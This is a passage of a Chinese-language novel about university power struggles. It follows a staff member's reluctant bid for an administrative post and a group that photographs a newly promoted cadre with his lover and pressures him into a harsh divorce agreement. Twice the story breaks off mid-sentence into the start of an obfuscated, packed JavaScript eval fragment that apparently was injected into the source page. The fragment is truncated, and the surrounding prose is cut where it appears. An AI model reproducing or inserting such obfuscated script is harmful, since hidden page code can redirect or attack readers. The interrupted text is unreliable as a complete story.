周濂耳根发烧。这番话听起来是如此的宽宏大量,可落在他耳中,分明是赦免与警告交织的复杂信号。戈大垣轻描淡写地将此事定性为“小事”,但这根小辫子,却也实实在在地被他攥在了手里。 “老周啊,”戈大垣的称呼自然而然地发生了转变,从官方客套的“周校长”变成了略显亲近的“老周”:“我来校后,发现总有少数人唯恐天下不乱,尤其喜欢在书记和校长之间搬弄是非,造些嫌隙,无非是想把水搅浑从中得到自己想要的嘛。有什么关系呢。俗话说得好,相互补台,好戏连台;相互拆台,大家一起垮台。咱们是相互补台,共同发财嘛——当然,这个‘发财’是指学校的事业发展,哈哈。” 周濂彻底明白:这场他主动上门寻求的“将相和”,根本就不是平等的谈判,而是戈大垣早已设定好的、单方面的“招安”而已。事到如今,人为刀俎,我为鱼肉,还能奈其何?周濂嘴应和着“相互补台”,心里早像打翻了五味瓶,酸甜苦辣咸混杂在一起。 回程的车上,望着窗外飞速掠过的街景,周濂突然控制不住地发出一声短促而怪异的笑声。司机疑惑地从后视镜里瞥了一眼,只见他们的周校长正缓缓摘下眼镜,用指尖轻轻揩拭着眼角,不知是笑出的眼泪,还是别的什么。 报名截止的日子一天天逼近,看见老公顾明远依然像个置身事外的局外人一样,没有半点提交申请的打算,吴雅娟急得像热锅上的蚂蚁。软的不行,就来硬的。当她讲自己代领的申请表摔在顾明远的书桌上时,顾明远刚刚理清的论文思路被硬生生地打断了。 “后天就是截止日期了。这申请表你到底打算什么时候交?我告诉你,申请也得申请,不申请也得申请,这可不是你顾明远一个人的事。”吴雅娟双手叉腰站在书桌前,胸脯因激动而剧烈起伏。 顾明远从书堆里抬起头,茫然地咧嘴笑了笑,试图用轻松的语气化解紧张:“急什么。再说你能不能理解理解我?你知道的,搞行政不是我的志趣,和人打交道、处理那些繁杂的事务,会耗尽我所有的时间和精力。我的理想是教书、做学问,你怎么就不明白呢?” “得了吧。顾明远,收起你那套不食人间烟火的清高论调。”吴雅娟毫不客气地打断他,语气愈发尖锐:“你看看这次有多少人挤破了头想去争这个机会?先不谈我爸,难道周校长的好意你也要拒绝吗?你现在只要参加铁定获胜,干什么那么矫情地犹犹豫豫、磨磨蹭蹭装清高呀?职务和职称是双保险,这么简单的道理你不懂?”越说越激动,干脆用手指点着桌面加强力度:“你看看你们院的林书锦,整天不务正业,但人家会来事,会搞关系,现在呼声比你要高得多,你知道吗?你如果再端着臭架子,到时候哭都来不及了。” 看着妻子那张因焦虑而有些扭曲的脸,顾明远意识到,两人之间的心理上的鸿沟已经不是语言可以填平的。吴雅娟是坚定地站在世俗的岸边,用功利的尺子衡量一切;而自己却还沉浸在那看似深邃、实则脆弱的理想深水区,呼喊的回声根本无法传到岸上。可悲的是,没有对错之分,有的只是理念之别,而这恰恰是比对错更加难以愈合的伤痕 在无法说服顾明远后,吴雅娟只好求助父亲吴若甫。吴若甫意识到顾明远对自己已经有抵触情绪,怕自己出面会进一步加剧他的逆反,便向周濂发去了求援信号,周濂还没有完全从脆败戈大垣的情景中自拔出来,一个电话给秦冰纶下了“通牒”。 秦冰纶其实心里已经远离了顾明远。按照她的设想,更希望言听计从的林书锦上位做自己的副手。只是慑于校长周濂的命令,加上担心林书锦失手,这才愿意出面来做顾明远的工作。现在的秦冰纶,早已没有以前的耐心和温情去面对顾明远。顾明远刚一踏进办公室的门,她面若冷霜、容止威严、语气冰凉:“听说你到现在还在犹豫?” 顾明远感觉到了压力,正要辩解,秦冰纶挥手阻断,语气有些不屑:“是担心做官影响你的个人业务,对吧?你心里的那点小算盘,说不客气些,和精致利己主义者其实没有什么分别。年轻人,且不说格局,就冲着那么些人暗中在扶助你,你也得有个态度吧?不然的话,一个人生活在自己的世界里,多无趣啊。” 顾明远听出了秦冰纶话里那份毫不掩饰的轻蔑与居高临下的警告,他不再试图辩解,只是更深地沉默下去。一股冰冷的无力感像潮水般从心底漫上来,他觉得自己仿佛骤然被放逐到一座孤岛之上,四周是望不见尽头的、名为“现实”的汹涌海水。秦冰纶、吴雅娟、吴若甫、周濂……,这些原本以为可以理解自己的人,此刻都站在遥远的海岸那头,用他完全听不懂的语言,催促他跳进那一片喧嚣与浑浊。 安顿女儿入睡后,心烦意乱的顾明远独自在寂静的校园里漫无目的地走着。月光如水银泻地,透过道路两旁茂密的香樟树叶,在地上投下斑驳摇曳的影子。晚风带着草木的清新气息拂过脸颊,却吹不散他心头的郁结。他掏出手机,鬼使神差地点开了林思齐的电话号码。 手机里传来林思齐清澈柔和的声音,像一道微光透进顾明远被各种压力填满的思绪。他犹豫了片刻,还是将竞聘带来的困扰以及内心的抗拒倾吐了出来。 电话那头的林思齐并没有急于回应。她安静地听着,听筒里只有她轻缓的呼吸声。直到他说完,短暂的静默后,她才轻轻开口,声音里没有评判,只有一种熨帖的平和:“看来顾老师被推到了一个很难受的位置。”她没有像其他人那样立刻说“该争”或“不该争”,而是先认可了他的情绪。 “其实吧,这事也可以跳出来看,我觉得你倒不用在‘要学术’还是‘要官职’这个二元对立里,把自己逼得太紧。”她顿了顿,似乎在组织更恰当的语言:“我老爸经常感慨,说现在的大学像个微缩的生态圈,完全避开行政事务,就像古代的隐士,固然清高,但有时候,你的声音、你想护住的一些东西,可能就因为人微言轻,而难以实现。”说到这里,话锋又巧妙地一转:“当然,我不是说人人都该去争。关键是,这个‘位置’在你心里,究竟是什么?如果把它仅仅看成是权力和待遇,那确实会磨损你;但如果把它看作一个……嗯,一个更大的讲台,或者一个能实际做点事的‘工具’呢?”她的声音变得轻柔了些:“苏东坡不是你的偶像吗?你看他,写得出‘明月几时有’的绝唱,也修得出实实在在的苏堤。他的文学宇宙,和他作为地方官的务实作为,好像并没有非此即彼,反而在某种程度上是互相滋养的。关键恐怕在于,他清楚自己核心想要守护的是什么。如果每个人想清楚了这一点,无论怎么选择,心里可能都会更安定一些。” 顾明远心中那根紧绷了许久的弦,在这一刹那好像突然“咔哒”一声松动了。林思齐说了很久很多,没有要求他什么,也没有给他任何压力,只是提供了另一种视角,一种将理想与现实结合的可能性。 “你是说……?”他似乎捕捉到了一丝光亮。 林思齐在电话里笑了:“试卷说到底,还得你自己来作答。无论你最终选择什么,只要无愧于心,就好。” 挂断电话后,顾明远站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在他们同期进来的那批青年教师里,卞同峰是仅剩的两位“单身汉”之一。他和院办胡莎莎那场漫长的恋爱,早已是人所共知的马拉松。七年长跑,眼看身边同学同事纷纷成家生子,他们的关系却始终悬在半空迟迟落不了地。最近更有风声传出,胡莎莎放了话:这回若能竞聘成功,婚事便提上日程;若再落空,只怕……。 用一纸副处级的聘书去叩开婚姻的大门。这其中的苦涩与重量,顾明远光是想想,便觉得掌心也跟着渗出冷汗来。 正在替卞同峰担心,门口响起了工作人员清晰的声音:“请36号候选人上场!” 顾明远愣了两秒,才意识到这是自己抽签的号码。他猛地站起身,或许是因为坐得太久,或许是因为紧张,腿一软,差点撞翻了旁边的茶几。他深吸一口气,在工作人员的目光示意下,迈步走向那个灯光汇聚的讲台。 聚光灯刺得他几乎睁不开眼。台下,黑压压的评委席像一堵密不透风的墙,书记戈大垣亲任主考官,居中而坐,不苟言笑,这给顾明远带来了巨大的压力,汗水不受控制地爬上了额头。 他极力让自己保持镇定甚至轻松:“……阿基米德说,给我一个支点,我能撬动整个地球。”顾明远听见自己的声音在宽敞的报告厅里回荡,彷佛一下子找到了课堂上挥洒自如的感觉:“我想,对于一所大学的每一位教职工而言,其实也需要找到这样的支点,服务师生、助推事业……。” 当最后一句话落下,台下响起一阵还算热烈的掌声。顾明远这才后知后觉地发现自己的手心早已被汗水浸透。 随之而来的答辩环节气氛更加紧张。受到周濂关照的两位评委提出的问题不痛不痒,顾明远对答如流,场面一度风平浪静。然而,来自朱政华的提问,立刻让现场的空气紧绷起来:“我听说顾老师曾在多个场合明确表示,行政管理是教师学术进步的‘梗阻’。既然你持如此观点,为什么今天会站在这里竞聘行政岗位?如果成功当选,你岂不是准备成为自己口中的‘梗阻’吗?” 这个刁钻甚至带有陷阱意味的问题,引来了评委席中一阵混杂着善意好奇与不善意味道的低笑。所有人的目光瞬间聚焦在顾明远身上,等待着他的回应。 顾明远感到心脏猛地一缩。他暗自深吸一口气,沉思片刻后抬起头来,目光平静地迎向朱政华,声音不卑不亢:“感谢您的提问。您说得对,我确实说过那样的话,而且至今,我依然认为不当的、僵化的行政办事方式,对教师成长和学术研究是个梗阻。” 他的坦率让台下泛起一阵细微的骚动。 “我今天站在这里,恰恰不是因为改变了观点,而是因为我想通了问题的另一面——‘梗阻’本身不会自行消失,它需要有人从内部去疏通、去改造。”他略微停顿,随后语气更加坚定:“我过去的批评,是出于一名教师对学术环境的忧虑;而我今天的竞聘,是出于同一份忧虑所产生的责任感。如果我们这些知道问题所在的人,永远选择站在岸上指责,那么水中的‘梗阻’将永远存在。指责‘梗阻’是容易的,但更难也更有价值的,是亲手成为那个‘疏通者’。打个比方:我们看到河道淤塞,批评淤泥容易,但真正的治水者,需要跳下去,亲手清淤导滞。我竞聘行政职务,不是想成为淤泥,而是希望有机会去尽力清除那些不合理的障碍,让活水在校园里能够更顺畅地流淌起来。这对我个人而言,意味着需要在学术与行政之间找到新的平衡,但对学校而言,说不定是减少‘梗阻’优化生态的开始。这,就是我今天站在这里的全部初衷。” 话音刚落,戈大垣带头鼓起掌来,周濂更是频频点头,脸上写满了赞许。 结束“拷问”的顾明远刚一走出报告厅,前面的候场室门口传来一阵骚动和惊呼:“有人晕倒了。” 顾明远心头一紧,快步冲了过去。只见卞同峰蜷缩在冰凉的地板上,身体不受控制地剧烈抽搐着,口角不断溢出白色的泡沫,像一只被突然电流击中的虾米。 顾明远知道卞同峰有家族性的癫痫病史,赶紧蹲下身子给他按住人中,又抬头催促手足无措的工作人员拨打120。 很快,120急救车“呜哇呜哇”赶到了现场,载着昏迷的卞同峰汇入到校外马路的车水马龙之中。候场室门口留下散落一地的卞同峰的讲稿,似乎在以最直观、最惨烈的方式向人们展示着什么。 当晚九点钟,周濂亲自打来电话告诉了顾明远以总分第二名的成绩成功入选。看着吴雅娟欣喜若狂的样子,顾明远似乎一点也高兴不起来。他一声不吭,默默地走进书房,关上门。看着窗外那枚彷佛光滑温润古币般的月亮,想起竞聘现场发生的一切,顾明远意识到,象牙塔里其实同样在上演着各种悲欢离合的故事。 46. 东窗事发 成功坐上基建处副处长交椅后,钟德君便开始了连篇累牍的接受各种朝拜和祝贺的宴请。在处级干部层面的宴请结束后,又开始转向接受科级干部的祝贺。这天,基建处的几位科长在“楚江春”酒楼摆下了庆功宴。一声声溢满尊敬的“钟处”叫得他浑身舒坦,每一个毛孔都舒张开来。 跟在孟超身边,经过五六年的耳濡目染,钟德君开始长进了在下属面前拿捏分寸的本领。他矜持地颔首、矜持地微笑、矜持地碰杯、矜持地说笑,无非是以此来昭告大家:老子现在是名正言顺的县团级干部,今后都长点心眼。 酒是胸胆的膨胀剂。几杯下肚,钟德君忽然感觉胸腔里有什么东西在野蛮地膨胀。他知道,这是因为竞聘期间被抑制的荷尔蒙在疯狂报复自己。他想起了刘芳——那个身段依旧玲珑、眼波依旧流转的女商人。上周一次通话,钟德君无意间得知孟超有了新欢的消息。 “资源闲置就是浪费……”,一个念头像水底的污浊气泡,不受控制地从他心底冒起。他摸出手机,手指在屏幕上快速滑动,一条简短而意图明确的信息发了出去:“老地方,306,下班后。” 这隐秘的一幕,全被坐在他身旁的维修科科长小谢看在了眼里。小谢是副处长韦江龙的心腹。酒局散后,他第一时间将自己的所见所闻向韦副处长做了汇报。 韦江龙生就一副老实人的皮相——圆脸宽额,眉毛疏淡,说话时嘴角习惯性挂着谦卑的笑意。但是,不能因此认为老实人心里就不会藏着小心机。仗着孟超的支持,这几年钟德君几乎没有将他这个老资历的副处长放在眼里,当上副处长的这两天更是变本加厉,昨天的处务会上竟然对他韦江龙分管的维修科指手画脚。韦江龙决定要给钟德君一点颜色瞧瞧,这不仅是要泄眼前之恨,更是要去长远之痛。再过一年多,处长周青松就要退休,钟德君本就脑瓜灵光、善于钻营,现在职级与他平起平坐,这意味着已经是自己晋升之路最现实、最危险的对手。 其实韦江龙早就开始悄无声息地的布局。一方面,在业务上他有意识地挑选钟德君分管的工程项目搜集证据;另一方面,针对钟德君喜欢寻花问柳的嗜好,韦江龙早就和保卫处的好兄弟——同样仕途郁郁不得志的副处长蔡克民做过交代重点留意钟德君的行踪。 接到小谢的报告后,韦江龙意识到机会来了。从半掩的门缝里听见钟德君锁门的声音后,他给蔡克民打去了电话。 蔡克民是部队侦察兵转业到学校的,对跟踪这样的事情是行家里手。过了两分钟,他回来电话,语气里透着几分掌控感的笑声:“老弟放心,网,早就撒好了。” 原来,早在两个月前,在韦江龙的示意下,蔡克民已经和正在与钟德君闹离婚的吴雅洁及其堂姐吴雅娟开始织网,在姐妹二人的提议下,又将人事处的余丹凤和保卫处的汪小刚拉了进来。 在数年来的争吵、和好的反复循环中,吴雅洁终于下了解脱的决心。在牌友汪小刚的建议下,吴雅洁答应了蔡克民的织网要求,目的是寻找证据让钟德君成为过错方,从而获得房产和存款的支配权。蔡克民给任务取了一个“捉奸小分队”的雅号。小分队工作严谨、效率惊人。很快,钟德君这两个月的通话记录、消费流水乃至下班后的行踪,被他们掌握了十之七八。 接到蔡克民电话后,吴雅娟果断地成员下达了“收网”指令。很快,蔡克民派出的“眼线”传来了钟德君坐上的士到达风光村一家临湖酒店。 暮色渐合,风光村在晚霞映照下风光一派旖旎。车刚停稳,钟德君环顾四周确认无人注意,快步走向两人经常幽会的306包间。 站在门口,钟德君刚要抬手敲门,厚重的木门仿佛有灵性般地开了一条缝。 “磨蹭什么呢?快进来吧。”刘芳裹着一件丝质浴袍,湿漉漉的头发随意散在肩上,身上散发着浓郁而甜腻的沐浴露香气,一把将还有些愣神的钟德君拽进房间。 刘芳浴袍的领口开得极低,若隐若现的沟壑让钟德君瞬间喉咙发紧:“想死我了……”,钟德君有些猴急地低吼一声,一把搂住刘芳柔软的腰肢,却被对方像一尾滑溜的鱼般灵巧地躲开。 “急什么呀?这么久不见,总得有点情调吧。”钟德君这才发现,外间的吧台上早就布满了精致的菜肴和洋酒。 刘芳娇痴地拿起桌子上那瓶琥珀色的洋酒,又取来两个玻璃杯:“先喝点酒,助助兴嘛。” 此刻,酒店大堂的休息区,吴雅洁脸色铁青,手指死死掐着真皮手包的带子,指甲几乎要嵌进皮革里。吴雅娟眼神里一片冰封的湖面泛着寒光,余丹凤和汪小刚脸上混合着兴奋与一种替天行道的正义感,不停地四下张望。 吴雅娟有些不放心,望着汪小刚问道:“确定是306了吧?” “吴科长您放心,我这几年可是自学了不少跟踪技术的。”说罢,汪小刚得意地晃了晃手里那台带着长焦镜头的单反相机,又故意转向身体微微发抖的吴雅洁,用一种带着激将的语气说道:“雅洁,现在撤还来得及哦。毕竟……一日夫妻百日恩嘛。” “撤?”吴雅洁的声音因极致的愤怒而颤抖:“撤什么撤?今天非得让这个王八蛋知道厉害不可。” 余丹凤恰到好处地煽风点火:“就是。这种家里摆着贤妻良母不知珍惜狗东西,活该!小汪,一会儿你手脚利索点,别漏了关键镜头。” 306房间气氛已渐入“佳境”。酒入欢肠,刘芳已是面泛桃花,眼波流转,被钟德君一把揽入怀中,胸前的浴袍带子不知何时已悄然松开,露出一片雪白的肌肤。刘芳突然一个翻身,双臂如水蛇般缠上钟德君的脖颈,滚烫的呼吸喷在他的耳畔,刚说出“今晚要好好表现……”,话音未落,“砰”的一声巨响,房门被一股巨大的力量猛地从外面踹开。 随即,“咔嚓!咔嚓!咔嚓!”刺眼的闪光灯如同疾风骤雨般接连亮起,瞬间将昏暗暖昧的房间照得如同白昼。汪小刚端着相机如同战地记者般冲在前面,镜头毫不留情地对准了沙发上两团因受惊而瞬间凝固、纠缠在一起的“雕塑”,从各个角度一顿猛拍,快门声密集得令人心悸。 “你们干什么?!”钟德君刚色厉内荏地吼叫了一声,当看清来人上吴雅洁姐妹时,脸上的血色瞬间褪去,大脑一片空白,仿佛瞬间被抛入了万丈冰窟,连牙齿都开始不受控制地打颤。 刘芳发出一声凄厉的尖叫,手忙脚乱地想拉起敞开的浴袍遮掩身体,但为时已晚,胸前的春光早已被相机无情地捕捉殆尽。她下意识地跳起来想冲进里面的洗浴间躲避,却被余丹凤一把死死拽住了散乱的长发。 “你个不要脸的骚货,让你勾引有妇之夫!让你破坏别人家庭!”余丹凤一边骂,一边撕扯,仿佛要将自己这些年在老公那里受到冷遇的怒火都发泄在刘芳身上。 吴雅洁站在原地,眼前的画面比她无数次噩梦中的景象还要不堪,积压了数年的委屈、愤怒、失望与憎恨,在这一刻如同火山般轰然爆发。她突然像一头发疯的母狮,尖叫着冲上前,抡起手中沉重的皮包,没头没脑地朝着钟德君头上、身上狠狠砸去,嘴里只是简单地重复着“畜生”“王八蛋”这些简单的词语。 钟德君狼狈不堪地躲闪着。在极度的惊恐与混乱中,他大腿一软,竟“噗通”一声,直接跪倒在了冰冷的地板上,双手作揖般哀求:“我错了。我真的知道错了。给我一次机会好不好?就一次。” 吴雅娟始终冷眼旁观。看见钟德君求饶的同时眼神不时惊恐地偷瞄汪小刚手中那台仍在“咔嚓”作响的相机,知道这不过是出于刚刚到手的乌纱帽担忧的本能反应。宜将剩勇追穷寇。吴雅娟上前一步,拦住了还想继续厮打的堂妹,从自己随身携带的手包里,抽出一份早已准备好的文件,“啪”地一声摔在钟德君面前的茶几上:“签字吧,明天一早,就去民政局。” “离婚协议书”五个加粗的黑体大字,像淬毒的匕首般狠狠扎进钟德君的瞳孔。他颤抖着手拾起那张轻飘却又重若千钧的纸,当目光扫过“房产归女方所有”、“支付女方精神损害赔偿金人民币十万元整”等核心条款时,他的瞳孔猛地收缩,像是被烫到一般失声叫道:“这……这……雅洁,雅娟姐,这条件也太……。” “嫌过分、苛刻是吧?”余丹凤故意晃了晃手机冷笑道:“钟大处长,你现在是完全的过错方,晓得啵。要不我现在就给戈书记打个电话汇报一下?” 这句话一下子击中了钟德君的软肋,他赶紧挪动膝盖转向余丹凤,口中一个劲地讨饶。 照完相的汪小刚故意“剐蹭”了一下刘芳的胸部,伸手拿起她身后桌子上的大半瓶洋酒“啧啧”道:“可以啊老钟,马爹利蓝带,这酒可不便宜。”说完,直接对着瓶口仰头灌了两大口。 余丹凤不满汪小刚打岔,将酒瓶夺回放在桌子上,继续摇晃着手机逼迫钟德君在离婚协议上签字。 看见大家的注意力都在钟德君身上,刘芳趁机包裹好自己,蹑手蹑脚地往门口挪动,却被吴雅娟用冰冷如刀的目光逼停在原地,语气冰冷地说道:“桥归桥,路归路。反正相也照了,后面估计也没你什么事情了。”转头看了看被踢坏的房门说道:“门被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“报警”二字如同丧钟般在钟德君耳边轰然炸响。三个女人,你一言我一语,每一句都像精准瞄准的箭矢,狠狠钉入他最脆弱的心脏。他额头上冷汗涔涔,艰难地抬起手用袖子擦了擦汗,声音嘶哑而绝望:“你们……你们想怎么办……就怎么办吧……我……我都同意”,将目光转向吴雅洁哀求道:“雅洁,我只求你……看在多年夫妻的情分上……不要……不要做得太绝……。” 吴雅洁恨恨地踢了钟德君一脚骂道:“你现在知道情分了?早干什么去了?!你硬是一条恬不知耻的癞皮狗呀。到了这个时候,还有脸嫌我们做得绝?!” 意识到吴雅洁主意已决,钟德君反而平静了些:“那你说怎么办吧?” 吴雅洁想都不想,尖声说道:“怎么办?离婚!大家都在场,你痛快将协议签了。”口气冰冷而坚硬,没有半分转圜的余地,仿佛不是在商量,而是在下达最后通牒。 钟德君不甘心好不容易分得的80平米新房和辛苦积攒的十万块钱全都落进吴雅洁的囊中,故意打起了太极,说是让自己再考虑两天。话未说完,汪小刚扬起了手中的相机说道:“看来我得赶回去冲洗照片了。”吴雅娟更是疾言厉色说道:“保官还是离婚,只能选一条。” 钟德君还想垂死挣扎,忍不住抱怨道:“你们这是趁火打劫嘛。” “行,那就报警”,吴雅娟话音未落,余丹凤又补上一句“我给戈书记打电话”。 钟德君彻底像一只被戳破的气球,瞬间泄尽了所有气力,一边心里用家乡最污秽、最不堪入耳的话将眼前人的祖宗十八代都骂了个遍,一边哆哆嗦嗦地拿起笔来在这个“丧权辱国”的协议上签下了自己的姓名。他的手颤抖得厉害,“钟德君”三个字写得如同鬼画符,透着心中无限的挣扎与不甘,按手印时,红色的印泥沾了满手,那颜色刺目得如同他心头滴下的血。 吴雅洁一把夺过那份已签好字的协议书紧紧攥在手里,仿佛攥着通往新生的钥匙。直到此刻,一直强撑着的坚强外壳才轰然碎裂,眼泪如同断了线的珠子,决堤而出。她看着眼前这个曾经与自己同床共枕七年、许诺要白头偕老的男人,此刻像条丧家之犬,她的心里涌起一股复杂难言的滋味,既有报仇伸冤的短暂痛快,更有一种家庭破灭的无限悲凉。 “滚吧。”余丹凤一脚踢在钟德君的屁股上。钟德君如蒙大赦,挣扎着从椅子上站起来,给众人拱手求告“留点面子”了一番,失魂落魄地冲出了让他从天堂坠入地狱的306房间。 夜风带着湖水的湿气迎面吹来,钟德君忍不住打了个寒颤,后背早已被冷汗完全浸透,贴在皮肤上一片冰凉。他现在满脑子只有一个念头在疯狂盘旋:如何保住自己头上这顶还未捂热的乌纱帽。房子和票子失去了或许还能再挣;副处长一旦失去也许就永远再也没有机会了。他只觉得眼前的黑暗浓得化不开,而自己的仕途正在被这无尽的黑暗迅速吞噬。 47. 跨境调任 钟德君回到办公室时,已是深夜。办公楼走廊空无一人,死寂中只有他皮鞋叩击水磨石地面的回声。推开沉重的门,他懒得开灯,径直疲惫的身子陷进沙发中。黑暗中,烟头明灭得像是荒野中飘忽的鬼火,散落一地的烟蒂狼藉得如同此刻一地鸡毛的窘境。 “吴雅洁、吴雅娟、余丹凤、汪小刚……”,他磨着牙反复地念叨着这些名字,每一个音节都裹着加了冰的恨意。他猛地抓起茶几上的玻璃杯,狠狠砸向对面的白墙,“砰”的一声,四溅的碎片仿佛即将支离破碎的前程。十年,他在楚江大学苦心经营了整整十年,从一个小科员爬到基建处副处长的位置,眼看接班老处长周青松但又希望,现在可能要被这些烂人联手毁掉。这口恶气,叫他如何能咽下? 钟德君逼迫自己冷静下来,他得捋捋乱麻般的思绪。如今,摆在面前的有两种可能:一是这帮烂人不讲“武德”,言而无信将自己的事情曝光出去,那就意味着自己在楚江大学前程的完结;二是他们信守诺言守口如瓶,那自己还有可能在楚江大学继续在仕途上前进。捋来捋去,钟德君汗毛倒竖,觉得第一种可能几乎是与虎谋皮,自己被曝光的概率至少在90%以上。一身冷汗的钟德君再也坐不住了,站起身来在狭窄的房间里象困兽般地来回走动。忽然,目光骤然落在了办公桌玻璃板下面的一张名片上——云上审计事务所主任方云琛。方云琛是自己大学时期的好兄弟,毕业后与人合伙创建了审计事务所,经过这些年的发展,如今在江城的审计圈中也算是一个人物。就在市州,方云琛专门来访,想拉他下海入伙事务所。 钟德君的手指无意识地在名片边缘摩挲,眼中闪过一丝绝处逢生的精光,掏出手机正要拨通号码,却发现墙上的挂钟指针已经指向凌晨三点,只好放下手机,等明天看看方向再说。 “咚咚咚!”一阵急促的敲门声将钟德君从迷糊中惊醒,门外响起了处秘书小黄急促的敲门门。抬头一看,已经八点二十。钟德君猛地想起孟超八点半的会议,赶紧翻身冲进厕所胡乱抹了把脸赶到了会议室。 会议室内,气氛看似如常。钟德君正襟危坐,心里却是浪花翻涌。浪中翻涌。会议中途,韦江龙起身走到门外接了个电话,回来后俯身贴近周青松耳边低语了几句,周青松目光不经意地扫过钟德君时浮起一丝难以捉摸的笑意让他心里一惊,心思更就无法集中在会议上。 会议临近尾声时,孟超放在桌上的手机嗡嗡振动起来。一看是书记戈大垣的电话,孟超忙不迭走出门去。半个小时后,孟超铁青着脸回到会议室,直接宣布散会。目光像一把刚从冰水里捞起的匕首,缓缓地从钟德君脸上掠过。钟德君有意留在会议室,等众人散尽后,孟超冷着脸扬了扬下巴,意思让他跟着去办公室。 钟德君意识到也许是悬着的刀终将落下。奇怪的是,此刻他躁乱的心反而平静了下来。紧跟着孟超的步子走进办公室,还未及说话,孟超猛转身时那张因暴怒有些扭曲的面孔,还是让钟德君吓了一大跳。 “你他娘的是不是脑袋被驴踢了?!”孟超的唾沫星子几乎溅到他脸上:“为了刘芳那个贱货,乌纱帽也不要了?” 若在平时,钟德君早已诚惶诚恐,躬身认错。但此刻,既然已经无可挽回且刚刚收到方云琛的短信,那就干脆破罐破摔快意江湖一回。他面无表情地看着孟超,然后缓缓从内衣口袋里掏出一张折叠整齐的纸,轻轻放在办公桌上:“你也不用发这么大火。这是我的辞职信。” 孟超像一只被骤然掐住喉咙的鸭子,怒骂声戛然而止,眼睛瞪得如同铜铃。钟德君转身欲走,却被他一把拽住手腕,声音带上了一丝慌乱:“等等。德君你……你这是什么意思?” “辞职。不干了。没什么大不了的。”钟德君挣脱他的手,语气平淡得出奇:“此地不留爷,自有留爷处。”说罢,不再解释,挺起胸扬长而去。 孟超第一次见到钟德君如此“硬气”、甚至堪称“大义凛然”的样子,一时惊愕得僵在原地,半天说不出一句话来。足足过了几分钟,静止的大脑才“嗡”地一声炸开:这家伙他妈的真反了。刚刚在戈大垣办公室里费尽唇舌为他争取的保留副科长待遇,现在甚至连说出口的机会都没有。钟德君这是直接炒了学校的“鱿鱼”啊! 想起这些年钟德君作为自己的“管家”经手过的隐秘账目、经历过的台下交易,孟超瞬间惊出一身冷汗。他担心钟德君狗急跳墙。想到这里,再也顾不上校领导的面子,抓起手机主动给钟德君连发了两条短信,大意是事情远未到山穷水尽必须辞职的地步,这些年来我孟超待你如何你心里有数,大家兄弟一场,万事好商量。 很快,钟德君的回信来了,短短的“盗亦有道”四个字让孟超哭笑不得,心里忽然空落落的。 离开孟超的办公室,钟德君并没有立刻离开行政楼,他径直来到二楼人事处吴雅娟的办公室。 吴雅娟正盯着电脑屏幕的□□忙碌什么。看见钟德君,没好气地冷冷甩出一句“你来干什么”,便不在搭理他。 钟德君懒散地斜倚在门框上,手指有一下没一下地敲击着门板,嘴角噙着一抹意味深长、令人脊背发凉的笑:“我来看看好哥们的夫人呀。顺便告诉你,我辞职了。” 吴雅娟本就不够红润的脸“唰”地变得惨白,嘴唇翕动了几下,却半天没能吐出一个字。 “吴科长最近气色不错啊,”钟德君拖长了声调,眼神意有所指地扫向电脑屏幕上不停闪烁的企鹅说道:“听说现在网聊挺方便的?隔着屏幕半夜三更都能谈情说爱,可比我们这些只会喝酒应酬的俗人时髦多了。”他故意顿了顿,欣赏着吴雅娟瞬间绷紧的肩膀和僵硬的身体,又慢悠悠地补了一句:“我呢,已经吃了‘若要人不知,除非己莫为’的亏,算是栽了。吴科长,好自为之哦。” 不等吴雅娟说话,钟德君用蹩脚的日语说了声“撒哟啦啦”,便风一样地走了。 吴雅娟僵在椅子上,仿佛有人当头泼下一桶冰水,刺骨的寒意顺着脊椎急速爬满全身。钟德君的话像一把精准的尖刀剜开了她内心深处最隐秘、最不堪的伤口——那些□□里的暧昧对话仿佛即将血淋淋地暴露在了光天化日之下。 钟德君知道了?钟德君知道多少?钟德君怎么知道的……,一连串的自问如同一条条毒蛇,死死缠绕着她,让她觉得呼吸都变得无比困难。 出了行政楼,钟德君脚步未停又来到了历史学院。顾明远刚下课回来,藏青色夹克的袖口上还沾着未拍干净的粉笔灰。 “哟,钟大处长今天怎么有空来我们这里巡视工作了?”顾明远自顾着整理桌面上的文件,嘴里习惯性地开起了玩笑。 “不是视察,是来跟兄弟道别的。”钟德君随手拿起桌上的一份文件又不屑地丢了回去。 顾明远只当他是在开玩笑,并没打算搭理。 钟德君将辞职信的复印件甩在了顾明远的面前。顾明远一看落款处盖有基建处的公章,吃了一惊,猛地抓住钟德君的手臂:“你开什么玩笑?这好好的为什么呀?” “嗨,一言难尽。”钟德君咧了咧嘴。他本来还有一个目的,就是提醒好兄弟注意老婆“网恋”的动态,觉得对顾明远这样单纯的人似乎有些残酷,便含糊地笑道:“去问你老婆吧?” 钟德君走后,顾明远满腹的困惑与不解。一头雾水的他再也无心工作,中午下班特意将吴雅娟叫了家。 在他的逼问下,吴雅娟眼神躲闪、断断续续地说出了“捉奸”钟德君的事情。 顾明远气得一脚踹翻了身边的椅子。 吴雅娟先是一惊,随即也不示弱:“你这是发什么疯?有病吧?” “我发疯?我有病?”顾明远一把扯开领口,脖颈因愤怒而涨得通红:“亏你还是校长家女儿,这样的事也干得出来?” “他那种人渣,活该!”吴雅娟校长女儿的脾气一下子被激活了起来,声音尖锐而凌厉:“你在这儿充什么好汉?怎么啦,他在外面乱搞就有理,我揭发他反倒有罪了?你们男人就没一个好东西!” “揭发?”顾明远突然冷笑起来:“我建议有些人还是照照镜子,看看自己脸上干不干净吧?明天晚上□□聊天到半夜,你就那么纯洁?” 被猝不及防戳中痛处的吴雅娟一时找不到反击的话语,干脆抄起沙发上的抱枕狠狠砸向顾明远:“离婚,这日子没法过了。” “好啊,这话可是你说的。”顾明远一脚踢开抱枕,摔门而出。巨大的声响震亮了整个楼道的声控灯。 